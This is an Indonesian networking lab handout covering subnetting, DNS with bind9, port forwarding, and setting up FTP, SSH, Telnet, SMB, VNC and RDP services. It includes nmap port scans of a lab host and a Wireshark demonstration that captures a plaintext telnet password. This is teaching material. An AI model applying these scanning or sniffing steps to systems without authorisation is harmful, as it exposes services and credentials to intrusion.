11111111.11111111.11111111.00000000

Saat netmask tersebut digabungkan dengan alamat IP 10.10.10.10, kami bisa melakukan operasi logik AND pada masing-masing bit untuk menentukan alamat jaringan.

10.10.10.10 : 00001010.00001010.00001010.00001010

255.255.255.0 : 11111111.11111111.11111111.00000000

10.10.10.0 : 00001010.00001010.00001010.00000000

Hal ini menghasilkan jaringan 10.10.10.0/24. Jaringan ini terdiri atas mesin 10.10.10.1 sampai 10.10.10.254, dengan 10.10.10.0 sebagai alamat jaringan dan 10.10.10.255 sebagai alamat broadcast.

Masker subnet tidak terbatas hanya ke seluruh octets. Seseorang bisa menetapkan masker submask seperti 255.254.0.0 (atau /15 CIDR). Ini adalah blok alamat yang besar, berisi 131.072 alamat, dari 10.0.0.0 hingga 10.1.255.255. Bisa lebih jauh dibagi lagi, misalnya menjadi 512 subnet sebanyak 256 alamat masing-masing. Yang pertama akan menjadi 10.0.0.0-10.0.0.255, lalu 10.0.1.0-10.0.1,255, dan seterusnya hingga 10.1.255.0-

10.1.255.255. Sebagai alternatif, bisa juga di bagi dalam 2 blok dengan 65.536 alamat, atau 8192 blok dengan 16 alamat, atau berbagai cara lainnya. Bisa juga di bagi dalam campuran ukuran blok yang berbeda, sepanjang tidak ada yang tumpang-tindih, dan masing-masing berlaku subnet yang ukurannya adalah pangkat dua.

Subnetting adalah proses memecah belah block IP address kelas A,B,atau C menjadi beberapa bagian block kecil.

Sumber : Buku Jaringan Wireless di Dunia Berkembang. http://wndw.net

IPv4 subnetting reference

In the IPv4 address space certain address blocks are specially allocated or reserved for special uses such as loopback interfaces, private networks (RFC 1918), and state-less autoconfiguration (Zeroconf, RFC 3927) of interfaces. Such addresses may be used without registration or allocation from Regional Internet Registries (RIRs). However, these address ranges must not be routed into the public Internet infrastructure.

The netmask is a bitmask that can be used to separate the bits of the network identifier from the bits of the host identifier. It is often written in the same notation used to denote IP addresses.

Not all sizes of prefix announcement may be routable on the public Internet: see routing, peering.

Class	Leading bits	Start	End	Default Subnet Mask in dotted decimal	CIDR notation
A	0	0.0.0.0	127.255.255.255	255.0.0.0	/8
B	10	128.0.0.0	191.255.255.255	255.255.0.0	/16
C	110	192.0.0.0	223.255.255.255	255.255.255.0	/24
D	1110	224.0.0.0	239.255.255.255	not defined	not defined
E	1111	240.0.0.0	255.255.255.255	not defined	not defined

The blocks numerically at the start and end of classes A, B and C were originally reserved for special addressing or future features, i.e., 0.0.0.0/8 and 127.0.0.0/8 are reserved in former class A; 128.0.0.0/16 and 191.255.0.0/16 were reserved in former class B but are now available for assignment; 192.0.0.0/24 and 223.255.255.0/24 are reserved in former class C.

While the 127.0.0.0/8 network is a Class A network, it is designated for loopback and cannot be assigned to a network.

See (RFC 5735 Special Use IPv4 Addresses)

CIDR	Host bits	Netmask	Addresses in subnet	Typical usage
/8	24	255.0.0.0	16777216 = 2^{24}	Largest block allocation made by IANA
/9	23	255.128.0.0	8388608 = 2^{23}	
/10	22	255.192.0.0	4194304 = 2^{22}	
/11	21	255.224.0.0	2097152 = 2^{21}	
/12	20	255.240.0.0	1048576 = 2^{20}	
/13	19	255.248.0.0	524288 = 2^{19}	
/14	18	255.252.0.0	262144 = 2^{18}	
/15	17	255.254.0.0	131072 = 2^{17}	
/16	16	255.255.0.0	65536 = 2^{16}	
/17	15	255.255.128.0	32768 = 2^{15}	ISP / large business
/18	14	255.255.192.0	16384 = 2^{14}	ISP / large business
/19	13	255.255.224.0	8192 = 2^{13}	ISP / large business
/20	12	255.255.240.0	4096 = 2^{12}	Small ISP / large business
/21	11	255.255.248.0	2048 = 2^{11}	Small ISP / large business
/22	10	255.255.252.0	1024 = 2^{10}	
/23	9	255.255.254.0	512 = 2^{9}	
/24	8	255.255.255.0	256 = 2^{8}	Large LAN
/25	7	255.255.255.128	128 = 2^{7}	Large LAN
/26	6	255.255.255.192	64 = 2^{6}	Small LAN
/27	5	255.255.255.224	32 = 2^{5}	Small LAN
/28	4	255.255.255.240	16 = 2^{4}	Small LAN
/29	3	255.255.255.248	8 = 2^{3}	Smallest multi-host network
/30	2	255.255.255.252	4 = 2^{2}	"Glue network" (point to point links)
/31	1	255.255.255.254	2 = 2^{1}	Point to point links (RFC 3021)
/32	0	255.255.255.255	1 = 2^{0}	Host route

Sumber : https://en.wikipedia.org/wiki/IPv4_subnetting_reference

Private Network

In the Internet addressing architecture, a private network is a network that uses private IP address space, following the standards set by RFC 1918 for Internet Protocol Version 4 (IPv4), and RFC 4193 for Internet Protocol Version 6 (IPv6). These addresses are commonly used for home, office, and enterprise local area networks (LANs). Private IP address spaces were originally defined in an effort to delay IPv4 address exhaustion, but they are also a feature of IPv6.

Addresses in the private space are not allocated to any specific organization and anyone may use these addresses without approval from a regional Internet registry. However, IP packets addressed from them cannot be transmitted through the public Internet, and so if such a private network needs to connect to the Internet, it must use do so via a network address translator (NAT) gateway, or a proxy server.

The Internet Engineering Task Force (IETF) has directed the Internet Assigned Numbers Authority (IANA) to reserve the following IPv4 address ranges for private networks, as published in RFC 1918:

RFC1918 name	IP address range	number of addresses	largest CIDR block (subnet mask)	host id size	mask bits	*classful* description[Note 1]
24-bit block	10.0.0.0 - 10.255.255.255	16,777,216	10.0.0.0/8 (255.0.0.0)	24 bits	8 bits	single class A network
20-bit block	172.16.0.0 - 172.31.255.255	1,048,576	172.16.0.0/12 (255.240.0.0)	20 bits	12 bits	16 contiguous class B networks
16-bit block	192.168.0.0 - 192.168.255.255	65,536	192.168.0.0/16 (255.255.0.0)	16 bits	16 bits	256 contiguous class C networks

Sumber : https://en.wikipedia.org/wiki/Private_network

CIDR (Classless Inter-Domain Routing)

Classless Inter-Domain Routing (disingkat menjadi CIDR) adalah sebuah cara alternatif untuk mengklasifikasikan alamat-alamat IP berbeda dengan sistem klasifikasi ke dalam kelas A, kelas B, kelas C, kelas D, dan kelas E. Disebut juga sebagai supernetting. CIDR merupakan mekanisme routing yang lebih efisien dibandingkan dengan cara yang asli, yakni dengan membagi alamat IP jaringan ke dalam kelas-kelas A, B, dan C. Masalah yang terjadi pada sistem yang lama adalah bahwa sistem tersebut meninggalkan banyak sekali alamat IP yang tidak digunakan. Sebagai contoh, alamat IP kelas A secara teoritis mendukung hingga 16 juta host komputer yang dapat terhubung, sebuah jumlah yang sangat besar. Dalam kenyataannya, para pengguna alamat IP kelas A ini jarang yang memiliki jumlah host sebanyak itu, sehingga menyisakan banyak sekali ruangan kosong di dalam ruang alamat IP yang telah disediakan. CIDR dikembangkan sebagai sebuah cara untuk menggunakan alamat-alamat IP yang tidak terpakai tersebut untuk digunakan di mana saja. Dengan cara yang sama, kelas C yang secara teoritis hanya mendukung 254 alamat tiap jaringan, dapat menggunakan hingga 32766 alamat IP, yang seharusnya hanya tersedia untuk alamat IP kelas B.

Subnet Mask Nilai CIDR

255.128.0.0 /9

255.192.0.0 /10

255.224.0.0 /11

255.240.0.0 /12

255.248.0.0 /13

255.252.0.0 /14

255.254.0.0 /15

255.255.0.0 /16

255.255.128.0 /17

255.255.192.0 /18

255.255.224.0 /19

Subnet Mask Nilai CIDR

255.255.240.0 /20

255.255.248.0 /21

255.255.252.0 /22

255.255.254.0 /23

255.255.255.0 /24

255.255.255.128 /25

255.255.255.192 /26

255.255.255.224 /27

255.255.255.240 /28

255.255.255.248 /29

255.255.255.252 /30

Kelas alamat	Subnet mask (biner)	Subnet mask (desimal)	Prefix Length
Kelas A	11111111.00000000.00000000.00000000	255.0.0.0	/8
Kelas B	11111111.11111111.00000000.00000000	255.255.0.0	/16
Kelas C	11111111.11111111.11111111.00000000	255.255.255.0	/24

Sumber : https://id.wikipedia.org/wiki/Masker_subjaringan

Alamat broadcast (broadcast address). Pada jaringan IP, alamat IP tayang digunakan untuk mengirim data ke semua host dalam subnet lokal.

Sumber : Buku Jaringan Wireless di Dunia Berkembang. http://wndw.net

Router.

Alat yang meneruskan paket antara jaringan yang berbeda. Proses penerusan paket ke hop yang berikutnya dinamakan routing.

Sumber : Sumber : Buku Jaringan Wireless di Dunia Berkembang. http://wndw.net

Routing.

Proses penerusan paket antara jaringan yang berbeda. Alat yang melakukan ini dinamakan router.

Sumber : Sumber : Buku Jaringan Wireless di Dunia Berkembang. http://wndw.net

Gateway

Gateway adalah sebuah perangkat yang digunakan untuk menghubungkan satu jaringan komputer dengan satu atau lebih jaringan komputer yang menggunakan protokol komunikasi yang berbeda sehingga informasi dari satu jaringan computer dapat diberikan kepada jaringan komputer lain yang protokolnya berbeda.

Translasi alamat jaringan (Bahasa Inggris:Network Address Translation) adalah suatu metode untuk menghubungkan lebih dari satu komputer ke jaringan internet dengan menggunakan satu alamat IP. Banyaknya penggunaan metode ini disebabkan karena ketersediaan alamat IP yang terbatas, kebutuhan akan keamanan (security), dan kemudahan serta fleksibilitas dalam administrasi jaringan.

Sumber : https://id.wikipedia.org/wiki/Penafsiran_alamat_jaringan

Bridge. Alat jaringan yang menyambungkan dua jaringan di lapisan sambungan data (data link layer). Bridge tidak mengroute paket di lapisan jaringan (network layer). Mereka secara sederhana mengulang paket antara dua jaringan sambungan lokal (link-local

Sumber : Buku Jaringan Wireless di Dunia Berkembang. http://wndw.net

Port

Dalam protokol jaringan TCP/IP, sebuah port adalah mekanisme yang mengizinkan sebuah komputer untuk mendukung beberapa sesi koneksi dengan komputer lainnya dan program di dalam jaringan. Port dapat mengidentifikasikan aplikasi dan layanan yang menggunakan koneksi di dalam jaringan TCP/IP. Sehingga, port juga mengidentifikasikan sebuah proses tertentu di mana sebuah server dapat memberikan sebuah layanan kepada klien atau bagaimana sebuah klien dapat mengakses sebuah layanan yang ada dalam server. Port dapat dikenali dengan angka 16-bit (dua byte) yang disebut dengan Port Number dan diklasifikasikan dengan jenis protokol transport apa yang digunakan, ke dalam Port TCP dan Port UDP. Karena memiliki angka 16-bit, maka total maksimum jumlah port untuk setiap protokol transport yang digunakan adalah 65536 buah.

Sumber : https://id.wikipedia.org/wiki/Port_%28Jaringan_Komputer%29

Firewall.

Firewall adalah alat dasar yang digunakan untuk melindungi seluruh jaringan dari trafik yang tidak diinginkan.

Sumber : Buku Jaringan Wireless di Dunia Berkembang. http://wndw.net

DNS

Sistem Penamaan Domain ; SNR (bahasa Inggris: (Domain Name System; DNS) adalah sebuah sistem yang menyimpan informasi tentang nama host maupun nama domain dalam bentuk basis data tersebar (distributed database) di dalam jaringan komputer, misalkan: Internet.

Sumber : https://id.wikipedia.org/wiki/Sistem_Penamaan_Domain

SMB (Server Message Block)

Protokol client/server yang ditujukan sebagai layanan untuk berbagi berkas (file sharing) di dalam sebuah jaringan. Protokol ini seringnya digunakan di dalam sistem operasi Microsoft

Windows dan IBM OS/2. Sistem operasi berbasis UNIX juga dapat menggunakannya dengan tambahan perangkat lunak yang disebut dengan SAMBA.

Sumber : https://id.wikipedia.org/wiki/Server_Message_Block

ICMP

Internet Control Message Protocol (ICMP) adalah salah satu protokol inti dari keluarga protokol internet. ICMP utamanya digunakan oleh sistem operasi komputer jaringan untuk mengirim pesan kesalahan yang menyatakan, sebagai contoh, bahwa komputer tujuan tidak bisa dijangkau.

ICMP berbeda tujuan dengan TCP dan UDP dalam hal ICMP tidak digunakan secara langsung oleh aplikasi jaringan milik pengguna. salah satu pengecualian adalah aplikasi ping yang mengirim pesan

ICMP Echo Request (dan menerima Echo Reply) untuk menentukan apakah komputer tujuan dapat dijangkau dan berapa lama paket yang dikirimkan dibalas oleh komputer tujuan.

Sumber : https://id.wikipedia.org/wiki/Internet_Control_Message_Protocol

Bab 2

Panduan praktis untuk praktek jaringan komputer

2.1 Dasar menghubungkan 2 komputer sebelum pembahasan ip address dan subnet mask lebih mendalam di kelas

Komputer A

Subnet tidak boleh dimasukkan dalam IP Address

Komputer A

Broadcast tidak boleh dimasukkan dalam IP Address

Komputer A

Host terakhir pada subnet mask 255.255.255.0 adalah 192.168.1..254 pada subnet 192.168.1.0

Komputer B

Komputer B dengan ip address 192.168.1.127 dengan subnet mask 255.255.255.0 adalah komputer yang akan di ping.

Komputer A

KomputerA dengan ip address 192.168.1.254 dengan subnet mask 255.255.255.0 dapat ping 192.168.1.127 karena masih dalam satu jaringan.

Komputer A

Jika komputer A mengganti ip address menjadi 192.168.2.35 maka komputer B dengan ip address 192.168.1.127 tidak dapat di ping karena sudah berbeda jaringan.

Komputer B

Komputer B dengan ip address 192.168.1.127 mengganti subnet mask dari 255.255.255.0 menjadi 255.255.0.0

Komputer A

Komputer A juga mengganti subnet mask 255.255.255.0 menjadi 255.255.0.0, hasilnya komputer A dengan ip address 192.168.1.127 dapat di ping.

2.2 Dasar menghubungkan komputer ke internet melalui router

Router modem ADSL dengan merk Tenda :

IP WAN

IP LAN yang digunakan sebagai gateway pada komputer yang berada di LAN

Client belum mengisi gateway

Client sudah mengisi gateway

2.3 DNS Server

Sistem Penamaan Domain ; SNR (bahasa Inggris: (Domain Name System; DNS) adalah sebuah sistem yang menyimpan informasi tentang nama host ataupun nama domain dalam bentuk basis data tersebar (distributed database) di dalam jaringan komputer, misalkan: Internet.

Sumber : https://id.wikipedia.org/wiki/Sistem_Penamaan_Domain

Buka edit DNS Records dari Simple DNS Server

Klik Quick Wizard lalu isi zone name atau domain nya lalu set ip nya

Hasil setting

Hasilnya jika dilakukan scanning dengan NMAP port 53 open

Komputer client set DNS nya

Hasilnya

2.4 Sambungan dari materi Subnet Mask di kelas

Tabel 192.168.17.0. kelas C dengan Subnet Mask /26, 11111111.11111111.11111111.11000000 (255.255.255.192) adalah :

Subnet	192.168.17.**0**	192.168.17.**64**	192.168.17.**128**	192.168.17.**192**
Host Pertama	192.168.17.**1**	192.168.17.**65**	192.168.17.**129**	192.168.17.**193**
Host Terakhir	192.168.17.**62**	192.168.17.**126**	192.168.17.**190**	192.168.17.**254**
Broadcast	192.168.17.**63**	192.168.17.**127**	192.168.17.**191**	192.168.17.**255**

Di sini di uji broadcast dimasukkan dalam ip address.

Hasilnya tidak broadcast tidak dapat dimasukkan dalam ip address.

IP Address 192.168.17.64 yang merupakan subnet juga tidak dapat dimasukkan.

Jika ip address 192.168.17.65 dapat dimasukkan dalam ip address karena host pertama pada subnet 192.168.17.64

IP LAN pada router adalah 192.168.18.1 dengan subnet mask 255.255.255.192

Hasilnya komputer yang berada di LAN tersebut tidak dapat melakukan ping ke IP LAN router karena berbeda jaringan.

IP Address pada komputer LAN tersebut diganti dengan ip address 192.168.17.62

```
Command Prompt
Windows IP Configuration

Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.17.62
        Subnet Mask . . . . . . . . . . . : 255.255.255.192
        Default Gateway . . . . . . . . . : 192.168.17.1

C:\Documents and Settings\pc2>ping 192.168.17.1

Pinging 192.168.17.1 with 32 bytes of data:

Reply from 192.168.17.1: bytes=32 time<1ms TTL=128
Reply from 192.168.17.1: bytes=32 time<1ms TTL=128
Reply from 192.168.17.1: bytes=32 time<1ms TTL=128
Reply from 192.168.17.1: bytes=32 time<1ms TTL=128

Ping statistics for 192.168.17.1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

C:\Documents and Settings\pc2>
```

```
S Suffix  . :
. . . . . . : 192.168.1.171
. . . . . . : 255.255.255.0
. . . . . . : 192.168.1.1

S Suffix  . :
. . . . . . : 192.168.17.1
. . . . . . : 255.255.255.192
. . . . . . :
```

Hasilnya IP LAN pada router dapat di ping karena berada dalam satu jaringan yang sama.

Jika menggunakan linux Ubuntu Server :

```
root@ubuntufresh:/# apt-get install bind9
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
  bind9-host bind9utils dnsutils libbind9-90 libdns95 libisc92 libisccc90
  libisccfg90 liblwres90
Suggested packages:
  rblcheck
The following packages will be upgraded:
  bind9 bind9-host bind9utils dnsutils libbind9-90 libdns95 libisc92
  libisccc90 libisccfg90 liblwres90
10 upgraded, 0 newly installed, 0 to remove and 118 not upgraded.
Need to get 1,768 kB of archives.
After this operation, 3,072 B of additional disk space will be used.
Do you want to continue [Y/n]? y
Get:1 http://old-releases.ubuntu.com/ubuntu/ raring-updates/main dnsutils i386 1
```

apt-get install bind9

```
root@ubuntufresh:/#
root@ubuntufresh:/# cd /etc/bind
root@ubuntufresh:/etc/bind# ls -l
total 52
-rw-r--r-- 1 root root 2389 Apr 15  2013 bind.keys
-rw-r--r-- 1 root root  237 Apr 15  2013 db.0
-rw-r--r-- 1 root root  271 Apr 15  2013 db.127
-rw-r--r-- 1 root root  237 Apr 15  2013 db.255
-rw-r--r-- 1 root root  353 Apr 15  2013 db.empty
-rw-r--r-- 1 root root  270 Apr 15  2013 db.local
-rw-r--r-- 1 root root 3048 Apr 15  2013 db.root
-rw-r--r-- 1 root bind  463 Apr 15  2013 named.conf
-rw-r--r-- 1 root bind  490 Apr 15  2013 named.conf.default-zones
-rw-r--r-- 1 root bind  165 Apr 15  2013 named.conf.local
-rw-r--r-- 1 root bind  890 Sep 23 08:53 named.conf.options
-rw-r----- 1 bind bind   77 Sep 23 08:53 rndc.key
-rw-r--r-- 1 root root 1317 Apr 15  2013 zones.rfc1918
root@ubuntufresh:/etc/bind#
```

```
root@ubuntufresh:/etc/bind# mv db.local db.kurniawan.net
root@ubuntufresh:/etc/bind# nano kurniawan.net
```

```
  GNU nano 2.2.6                                File: db.kurniawan.net

;
; BIND data file for local loopback interface
;
$TTL    604800
@       IN      SOA     kurniawan.net. root.kurniawan.net. (
                              2         ; Serial
                         604800         ; Refresh
                          86400         ; Retry
                        2419200         ; Expire
                         604800 )       ; Negative Cache TTL
;
@       IN      NS      kurniawan.net.
@       IN      A       192.168.1.9
@       IN      AAAA    ::1
```

;

; BIND data file for local loopback interface

;

$TTL 604800

@ IN SOA kurniawan.net. root.kurniawan.net. (

2 ; Serial

604800 ; Refresh

86400 ; Retry

2419200 ; Expire

604800) ; Negative Cache TTL

;

@ IN NS kurniawan.net.

@ IN A 192.168.1.9

@ IN AAAA ::1

// This is the primary configuration file for the BIND DNS server named.

//

// Please read /usr/share/doc/bind9/README.Debian.gz for information on the

// structure of BIND configuration files in Debian, *BEFORE* you customize

// this configuration file.

//

// If you are just adding zones, please do that in /etc/bind/named.conf.local

include "/etc/bind/named.conf.options";

include "/etc/bind/named.conf.local";

include "/etc/bind/named.conf.default-zones";

zone "kurniawan.net" {

  type master;

```
    file "/etc/bind/db.kurniawan.net";
    allow-transfer { 192.168.1.9; };
};
```

```
root@ubuntufresh:/etc/bind#
root@ubuntufresh:/etc/bind# service bind9 restart
 * Stopping domain name service... bind9
waiting for pid 3037 to die

 * Starting domain name service... bind9
root@ubuntufresh:/etc/bind#
```

service bind9 restart

```
C:\Documents and Settings\pc2>ping kurniawan.net

Pinging kurniawan.net [192.168.1.9] with 32 bytes of data:

Reply from 192.168.1.9: bytes=32 time=4ms TTL=127
Reply from 192.168.1.9: bytes=32 time=1ms TTL=127
Reply from 192.168.1.9: bytes=32 time=1ms TTL=127
Reply from 192.168.1.9: bytes=32 time=1ms TTL=127

Ping statistics for 192.168.1.9:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 1ms, Maximum = 4ms, Average = 1ms

C:\Documents and Settings\pc2>
```

2.5 Router

Alat yang meneruskan paket antara jaringan yang berbeda. Proses penerusan paket ke hop yang berikutnya dinamakan routing.

Salah satu komputer yang berada di LAN dan Router.

Komputer yang berada di LAN tersebut dapat melakukan ping ke ip LAN router.

Komputer dari LAN tersebut dapat ping ke komputer yang berada di jaringan WAN.

2.6 Port Forwarding

Port Forward adalah feature dari router di mana fungsi ini akan membuka akses terhadap perangkat pada jaringan lokal untuk bisa diakses dari internet.

Sumber : http://yusman-aripin.blogspot.co.id/2014/04/port-forwarding.html

Komputer server dengan ip address 192.168.17.35 di yang berada di jaringan LAN mengaktifkan FTP Server

Informasi IP LAN dan IP WAN pada router

```
Ethernet adapter Local Area Connection 3:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.1.127
        Subnet Mask . . . . . . . . . . . : 255.255.0.0
        Default Gateway . . . . . . . . . : 192.168.1.1

Ethernet adapter VirtualBox Host-Only Network

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.56.1
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . :

Ethernet adapter Wireless Network Connection 9:

        Media State . . . . . . . . . . . : Media disconnected

C:\>ftp 192.168.1.171
> ftp: connect :Unknown error number
ftp> quit

C:\>ftp 192.168.17.35
> ftp: connect :Unknown error number
ftp>
ftp>
```

Komputer yang berada di jaringan WAN tidak dapat mengakses FTP di komputer LAN karena berbeda jaringan dan tidak dapat melakukan koneksi FTP ke IP WAN router karena belum di port forwarding.

Download program port forwarding for windows

Download dan extract file nya

Setelah extract jalankan seperti di atas

Hasilnya komputer di WAN dapat melakukan koneksi FTP ke komputer FTP Server yang ada di LAN

```
C:\>trivial_portforward
usage: portforward [port to listen on] [ip of host to connect to] [port to conne
ct to].

C:\>trivial_portforward 21 192.168.17.35 21
received connection from 192.168.1.127
connection to 192.168.17.35:21 established
```

Tampilan di router setelah melakukan koneksi

Jika di linux seperti di bawah ini

Mengakses telnet ke ip 192.168.1.83 port 23

Tidak bisa diakses karena memang tidak ada telnet

```
root@ubuntufresh:/etc#
root@ubuntufresh:/etc# sudo sysctl -w net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
root@ubuntufresh:/etc# iptables -t nat -A PREROUTING -j DNAT -d 192.168.1.83 -p
tcp --dport 23 --to 192.168.10.35
root@ubuntufresh:/etc#
```

Di sini melakukan port forwarding pada port 23 dari ip 192.168.1.83 ke ip 192.168.10.35

sudo sysctl -w net.ipv4.ip_forward=1

iptables -t nat -A PREROUTING -j DNAT -d 192.168.1.83 -p tcp --dport 23 --to 192.168.10.35

2.7 FTP Server

Protokol pengiriman berkas (bahasa Inggris: File Transfer Protocol) adalah sebuah protokol Internet yang berjalan di dalam lapisan aplikasi yang merupakan standar untuk pengiriman berkas (file) komputer antar mesin-mesin dalam sebuah Antarjaringan.

Sumber : https://id.wikipedia.org/wiki/Protokol_Transfer_Berkas

FTP Server adalah server yang memberikan layanan untuk tukar-menukar file dalam suatu jaringan dengan koneksi TCP.

FTP client adalah client yang meminta koneksi ke FTP Server untuk tujuan mengirim file ke server atau mengambil file dari server

Klik Add lalu isi username

Centang password lalu isi password

Klik Shared folders lalu klik Add lalu share drive atau folder yang ingin di share

Untuk hak akses dicentang sesuai dengan kebutuhan

```
root@dhcppc4:~# nmap 192.168.1.127

Starting Nmap 6.25 ( http://nmap.org
Nmap scan report for 192.168.1.127
Host is up (0.00083s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
902/tcp  open  iss-realsecure
```

Saat di NMAP port 21 terbuka

Client melakukan koneksi ke FTP

Hasil dari koneksi ke FTP server

2.8 Secure Shell SSH

Secure Shell (SSH) adalah sebuah protokol jaringan kriptografi untuk komunikasi data yang aman, login antarmuka baris perintah, perintah eksekusi jarak jauh, dan layanan jaringan lainnya antara dua jaringan komputer.

https://id.wikipedia.org/wiki/SSH

What is freeSSHD?

freeSSHd, like it's name says, is a free implementation of an SSH server. It provides strong encryption and authentication over insecure networks like Internet. Users can open remote console or even access their remote files thanks to buit-in SFTP server.

Sumber : http://www.freesshd.com/?ctt=overview

Klik Users lalu Add

Isi username, ganti authorization, isi password lalu apply

```
File  Edit  View  Search  Terminal  Help
root@dhcppc4:~# nmap 192.168.1.127

Starting Nmap 6.25 ( http://nmap.or
Nmap scan report for 192.168.1.127
Host is up (0.00083s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
902/tcp   open  iss-realsecure
912/tcp   open  apex-mesh
2869/tcp  open  icslap
3389/tcp  open  ms-wbt-server
```

Port 22 terbuka

Koneksi ke SSH Server dengan Putty

Isi username dan password

Hasilnya setelah login

2.9 Telnet

Telnet (Telecommunication network) adalah sebuah protokol jaringan yang digunakan pada Internet atau Local Area Network untuk menyediakan fasilitas komunikasi berbasis teks interaksi dua arah yang menggunakan koneksi virtual terminal.

Di control panel, klik Administrative Tools

Klik Services

Pilih telnet

Startup type Automatic

Klik Start

Klik Apply

Untuk membuat users klik User Accounts

Create a new account

Isi username

Pilih Computer administrator, lalu create Account

Account Kurniawan telah dibuat

Buat password untuk user Kurniawan

Isi username dan password

Port 23 terbuka

Melakukan koneksi ke Telnet Server dengan Putty

Untuk mengetahui bahwa protokol telnet tidak aman, maka jalankan Wireshark pada komputer server

Isi username dan password

Setelah berhasl login muncul tampilan command prompt

Pada wireshark, filter telnet lalu klik kanan pada paket telnet lalu pilih Follow TCP Stream

Password tampil

2.10 SMB

Server Message Block disingkat SMB adalah istilah bahasa Inggris dalam teknologi informasi yang mengacu kepada protokol client/server yang ditujukan sebagai layanan untuk berbagi berkas (file sharing) di dalam sebuah jaringan. Protokol ini seringnya digunakan di dalam sistem operasi Microsoft Windows dan IBM OS/2

Folder phpshell di share, klik kanan lalu pilih Sharing and Security

Jika ingin client hanya mempunyai hak membaca tanpa mengubah isi dalam server maka hanya dicentang pada Share this folder on the network

Jika client ingin dapat mengganti file di server maka centang Allow network users to change my files

```
root@dhcppc4:~# nmap 192.168.1.127

Starting Nmap 6.25 ( http://nmap.org
Nmap scan report for 192.168.1.127
Host is up (0.00083s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
902/tcp   open  iss-realsecure
```

Saat dilakukan NMAP port 445 terbuka

Hasil sharing

2.11 Web Server Apache & MySQL

Hypertext Transfer Protocol (HTTP) adalah sebuah protokol jaringan lapisan aplikasi yang digunakan untuk sistem informasi terdistribusi, kolaboratif, dan menggunakan hipermedia.

Sumber : https://id.wikipedia.org/wiki/Protokol_Transfer_Hiperteks

Server HTTP Apache atau Server Web/WWW Apache adalah server web yang dapat dijalankan di banyak sistem operasi (Unix, BSD, Linux, Microsoft Windows dan Novell Netware serta platform lainnya) yang berguna untuk melayani dan memfungsikan situs web. Protokol yang digunakan untuk melayani fasilitas web/www ini menggunakan HTTP.

Sumber : https://id.wikipedia.org/wiki/Apache_HTTP_Server

MySQL adalah sebuah perangkat lunak sistem manajemen basis data SQL (bahasa Inggris: database management system) atau DBMS yang multithread, multi-user, dengan sekitar 6 juta instalasi di seluruh dunia.

Sumber : https://id.wikipedia.org/wiki/MySQL

Apache dan MySQL di hidupkan

Saat dilakukan NMAP port 80 dan 3306 terbuka

Jika ingin mengganti isi halaman index maka masuk ke c:\xampp\htdocs lalu edit file index.php

Hasilnya jika ip address dimasukkan dalam browser

Untuk MySQL Client jika ingin melukan koneksi dari host lain maka ketik seperti di atas dan hasilnya juga seperti di atas.

Konfigruasi password phpMyAdmin

phpMyAdmin is a free and open source tool written in PHP intended to handle the administration of MySQL or MariaDB with the use of a web browser.

Sumber : https://en.wikipedia.org/wiki/PhpMyAdmin

Masuk ke config.inc

Auth type dari config diganti http

http://localhost/phpmyadmin

Username : root

Password : (dikosongkan)

Lalu OK.

Klik privileges

Jika sudah masuk ke edit privileges maka cari change password, lalu kita ganti passwordnya.

Untuk membuat database cukup mudah, masukkan nama database pada input create new database. Lalu klik create.

2.12 VNC

In computing, Virtual Network Computing (VNC) is a graphical desktop sharing system that uses the Remote Frame Buffer protocol (RFB) to remotely control another computer. It transmits the keyboard and mouse events from one computer to another, relaying the graphical screen updates back in the other direction, over a network.

Sumber : https://en.wikipedia.org/wiki/Virtual_Network_Computing

VNC Server aktif

Port 5900

Port 5900 terbuka

Melakukan koneksi ke VNC Server dengan menggunakan VNC Viewer

Tampilan jika berhasil masuk ke VNC Server

2.13 RDP

Remote Desktop Protocol (sering disingkat menjadi RDP) adalah sebuah protokol jaringan yang digunakan oleh Microsoft Windows Terminal Services dan Remote Desktop. RDP dibuat berdasarkan protokol T.120 yang spesifikasinya diumumkan oleh International Telecommunication Union (ITU), yang juga merupakan protokol yang digunakan di dalam perangkat lunak konferensi jarak jauh Microsoft NetMeeting.

Klien-klien yang mendukungnya bervariasi, mulai dari sebagian besar sistem operasi Windows 32-bit (termasuk Windows CE dan PocketPC), hingga sistem operasi lainnya, seperti Linux, FreeBSD, UNIX Solaris, dan Apple Mac OS X. Secara default, server yang membuka protokol ini, akan membuka port TCP 3389.

Pada control panel, pilih System lalu pada system properties, pilih remote, lalu pada remote desktop di centang pada Allow users to connect remotely to this computer

```
Starting Nmap 6.25 ( http://nmap.org
Nmap scan report for 192.168.1.127
Host is up (0.0022s latency).
Not shown: 985 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
445/tcp   open  microsoft-ds
902/tcp   open  iss-realsecure
912/tcp   open  apex-mesh
2869/tcp  open  icslap
3306/tcp  open  mysql
3389/tcp  open  ms-wbt-server
5900/tcp  open  vnc
50000/tcp open  ibm-db2
```

Hasilnya jika dilakukan NMAP

Client melakukan koneksi ke RDP

Tampilan login

Isi username dan password

Tampilan jika berhasil login

2.14 Mail Server

